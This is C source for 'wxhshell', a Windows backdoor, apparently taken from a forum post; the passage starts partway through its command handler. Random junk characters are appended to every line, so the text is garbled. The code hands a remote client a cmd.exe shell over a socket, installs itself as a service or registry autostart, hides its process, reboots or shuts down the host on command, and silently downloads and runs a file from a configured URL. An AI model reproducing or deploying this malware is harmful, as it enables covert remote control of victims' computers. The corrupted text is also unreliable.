  // 帮助 K:PzR,nn  
  case '?': { [e1kfw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J6x#c`Y  
    break; f tBbO8e  
  } 4o,%}bo&  
  // 安装 97"dOi!Wh  
  case 'i': { a*4"j2j v  
    if(Install()) u`E24~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BcJ]bIbKb  
    else 3{e7j6u\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e">$[IhXtV  
    break; HN'r ZAZ(  
    } 4%l @   
  // 卸载 emZ^d/A  
  case 'r': { uP,{yna(  
    if(Uninstall()) s|3@\9\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8,:E ]`O  
    else B35zmFX|}N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9G8n'jWyY  
    break; cY/!z  
    } jO'+r'2B9  
  // 显示 wxhshell 所在路径 3/ sKRU  
  case 'p': { RB]K?  
    char svExeFile[MAX_PATH]; k~|nU  
    strcpy(svExeFile,"\n\r"); JQVu&S  
      strcat(svExeFile,ExeFile); -ya0!D  
        send(wsh,svExeFile,strlen(svExeFile),0); XD\RD  
    break; S<n3wR"^  
    } oZvQ/|:p!  
  // 重启 d~L`*"/)[  
  case 'b': { HV:mS*e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]7WBoC8  
    if(Boot(REBOOT)) }5n((7@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QusEWq)}<  
    else { TmS;ybsG  
    closesocket(wsh); '& L;y  
    ExitThread(0); f'/@h Na3  
    } ,#^<0u+zrF  
    break; %qA +z Pf  
    } /'|'3J]HP  
  // 关机 oo\0X  
  case 'd': { /BWJ)6#H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GD1=Fb"&)  
    if(Boot(SHUTDOWN)) @_0 g "Ul  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HgG-r&r!2  
    else { j=v1:E  
    closesocket(wsh); I\R5Cb<p  
    ExitThread(0); ]2n&DJu  
    } ld1t1'I'  
    break; s{q)m@  
    } 4)=LOGW  
  // 获取shell H[o'j@0  
  case 's': { 2G"mm (   
    CmdShell(wsh); )>LQ{ X.  
    closesocket(wsh); STgl{#  
    ExitThread(0); 9GS<d.#Nvc  
    break; a/+tsbw  
  } UTQ$sg|7p  
  // 退出 b2 ~~ !C  
  case 'x': { HMNjQ 1y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/nOz*  
    CloseIt(wsh); -@ #b<"1  
    break; 5EIhCbA  
    } uF>I0J#z?  
  // 离开 ,=l MtW  
  case 'q': { ]?,47,[<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \()\pp~4  
    closesocket(wsh); c1wM"  
    WSACleanup(); !@-j!Ub  
    exit(1); pTZPOv#?Q  
    break; gcr,?rE<  
        } u;DF$   
  } ?mY )m +  
  } 7dX1.}M<(  
K&"Yv~h  
  // 提示信息 v%> ?~`Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ld94ek  
} TJ`E/=J!  
  } xk86?2b{)  
%Zx/XMs}e  
  return; ))!Z2PfD  
} J),7ukLu^  
~=%eOoZP;c  
// shell模块句柄 z>k6T4(  
int CmdShell(SOCKET sock) =(*Eh=Pw  
{ ` e~/  
STARTUPINFO si; :RHNV  
ZeroMemory(&si,sizeof(si)); PiI ):B>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }K;@$B6,@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FqsG#6|x  
PROCESS_INFORMATION ProcessInfo; 3z: rUhA  
char cmdline[]="cmd"; qYIBP?`g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EBw}/y{Kt  
  return 0; )aqu f<u@  
} u4$d#0sA  
dT,X8 "  
// 自身启动模式 i[d-n/)  
int StartFromService(void) KBzEEvx/$  
{ 6luCi$bL  
typedef struct )QaJYC^+  
{ m*P~X*St  
  DWORD ExitStatus; 9R>A,x(  
  DWORD PebBaseAddress; /j -LW1:N  
  DWORD AffinityMask; n5UcivyX  
  DWORD BasePriority;  A`#v-  
  ULONG UniqueProcessId; 9|jIrS%/~  
  ULONG InheritedFromUniqueProcessId; _w+sx5  
}   PROCESS_BASIC_INFORMATION; rf;R"Uc  
VjYfnvE  
PROCNTQSIP NtQueryInformationProcess; 30FYq?  
RNoS7[&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]S,I}NP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *v:+A E  
}?*:uf  
  HANDLE             hProcess; L7n->8Qk  
  PROCESS_BASIC_INFORMATION pbi; |\?-k  
g_>)Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ew4DumI  
  if(NULL == hInst ) return 0; RZ|s[b U  
@z dmB~C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z2!NBOv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,a$LT   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4s`*o/it  
XPUH\I=  
  if (!NtQueryInformationProcess) return 0; #k)G1Y[c  
sPkT>q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,2H5CFX/  
  if(!hProcess) return 0; !Si ZA"  
<6p{eGAQV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QwOQS %  
6JRee[  
  CloseHandle(hProcess); `ZV;Le '  
d^]wqnpf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ow/ /#:  
if(hProcess==NULL) return 0; X@x: F|/P  
plfz)x3  
HMODULE hMod; X~GZI*P  
char procName[255]; 9A B~*;U  
unsigned long cbNeeded; SL%4w<  
zCO5 `%14  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *PL+)2ob  
DKIDLf  
  CloseHandle(hProcess);  +tfmBZl^  
b)@D*plS&  
if(strstr(procName,"services")) return 1; // 以服务启动 #: ' P3)&  
!6<2JNf  
  return 0; // 注册表启动 ^N Et{]x  
} ]o,)#/' $  
aM?7'8/  
// 主模块 '-w G  
int StartWxhshell(LPSTR lpCmdLine) J5J3%6I  
{ B+zq!+ HJ  
  SOCKET wsl; * +A!12s@  
BOOL val=TRUE; &??(EA3  
  int port=0; 5Odi\SJ&  
  struct sockaddr_in door; ODv)-J  
1Lj\"+.  
  if(wscfg.ws_autoins) Install(); )}G HG#D{  
!3yR?Xem}  
port=atoi(lpCmdLine); &e,xN;  
qf24l&}  
if(port<=0) port=wscfg.ws_port; WHE*NWz>q  
zKfb  
  WSADATA data; rQisk8 %  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '|Q=J)  
d UjdQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zpu>T2Tp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  r) X?H  
  door.sin_family = AF_INET; =N7N=xY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); puXJ:yo(  
  door.sin_port = htons(port); y"@~5e477$  
I|WBT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]BAF  
closesocket(wsl); %K ]u"  
return 1; 8(Z*Vz uu  
} zac>tXU;  
i9.5 2  
  if(listen(wsl,2) == INVALID_SOCKET) { db#y]>^l  
closesocket(wsl); 9QY)<K~a  
return 1; 4,$x~m`N  
} C?hw$^w7T  
  Wxhshell(wsl); ZV;#ZXch  
  WSACleanup(); D"A`b{z  
OkzfQ hC}  
return 0; cE]tvL:g  
#exE ~@fy-  
} {_(;&\5  
MIt\[EB  
// 以NT服务方式启动 ,dh*GJ{5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PjsQ+5[>  
{ _V8pDcY  
DWORD   status = 0; 1Ll@ ocE  
  DWORD   specificError = 0xfffffff; 9^ mrsj  
I[[rVts  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "me J n/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GueqpEd2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I"@5=m5  
  serviceStatus.dwWin32ExitCode     = 0; fWKv3S1dT  
  serviceStatus.dwServiceSpecificExitCode = 0; [eWB vAiW  
  serviceStatus.dwCheckPoint       = 0; .`)ICX  
  serviceStatus.dwWaitHint       = 0; ||Lqx#e=  
y\x!Be;6Z.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $fn Fi|-  
  if (hServiceStatusHandle==0) return; R )?8A\<E  
BT#'<!7!  
status = GetLastError(); ^8V]g1]fiG  
  if (status!=NO_ERROR) _|6{(  
{ w,`x(!&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jr!x)yd  
    serviceStatus.dwCheckPoint       = 0; )C|>M'g@v  
    serviceStatus.dwWaitHint       = 0; evszfCH'J  
    serviceStatus.dwWin32ExitCode     = status; QKOo # 7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7J>n;8{%?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZ_i~;u4@v  
    return; 37lmB '~  
  } YJ!6)d?C.  
X.T.^}=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YToRG7X#  
  serviceStatus.dwCheckPoint       = 0; vZXyc *  
  serviceStatus.dwWaitHint       = 0; y@_4OkR@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YO-O-NEP  
} 39m#  
bR ;H@Fdg?  
// 处理NT服务事件,比如:启动、停止 @ @# G.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8Cm^#S,+  
{ {W0]0_mI(  
switch(fdwControl) <cepRjDn  
{ iY*Xm,#  
case SERVICE_CONTROL_STOP: 9IIe:  
  serviceStatus.dwWin32ExitCode = 0; @p `#y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ 8v)\lu  
  serviceStatus.dwCheckPoint   = 0; -4hX -  
  serviceStatus.dwWaitHint     = 0; &1B)mj  
  { .6.oqb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DUW;G9LP$-  
  } u4.-AY {  
  return; %C)U F  
case SERVICE_CONTROL_PAUSE: bLNQ%=FjO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DQ'+,bxk=9  
  break; vx-u+/\  
case SERVICE_CONTROL_CONTINUE: P5aHLNit  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gQ/zk3?k  
  break; L:B&`,E  
case SERVICE_CONTROL_INTERROGATE: fNB*o={r|  
  break; k92189B9j/  
}; # <&=ZLN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ =83#*KK  
} =2`s Uw}  
~'T]B{.+J  
// 标准应用程序主函数 C(?lp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `9 $?g|rB  
{ K<|eZhp~  
*M KVm)Iv  
// 获取操作系统版本 {d7KJmN  
OsIsNt=GetOsVer(); ,L_p"A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q+LjWZ+O  
Ui1K66{  
  // 从命令行安装 ] >`Q"g~0  
  if(strpbrk(lpCmdLine,"iI")) Install(); >:wk.<Z-  
9`c :sop  
  // 下载执行文件 VMtR4!:q  
if(wscfg.ws_downexe) { t/q\Ne\\,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }b,a*4pN  
  WinExec(wscfg.ws_filenam,SW_HIDE); >xH3*0 Lp  
} !^\|r<2M  
0>.'w\,87B  
if(!OsIsNt) { )EcF[aO  
// 如果时win9x,隐藏进程并且设置为注册表启动 $'[( DwLS  
HideProc(); kv5D=0r  
StartWxhshell(lpCmdLine); $RF"m"  
} LY^BkH'  
else , :kCt=4%  
  if(StartFromService()) [& hdyLt  
  // 以服务方式启动 ;l?>+m@H  
  StartServiceCtrlDispatcher(DispatchTable); -G*u2i_*  
else <vbk@d  
  // 普通方式启动 hr)TC-  
  StartWxhshell(lpCmdLine); !TG"AW  
1uD}V7_y"  
return 0; \>jK\j  
}
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只看该作者 1 发表于: 2006-10-10
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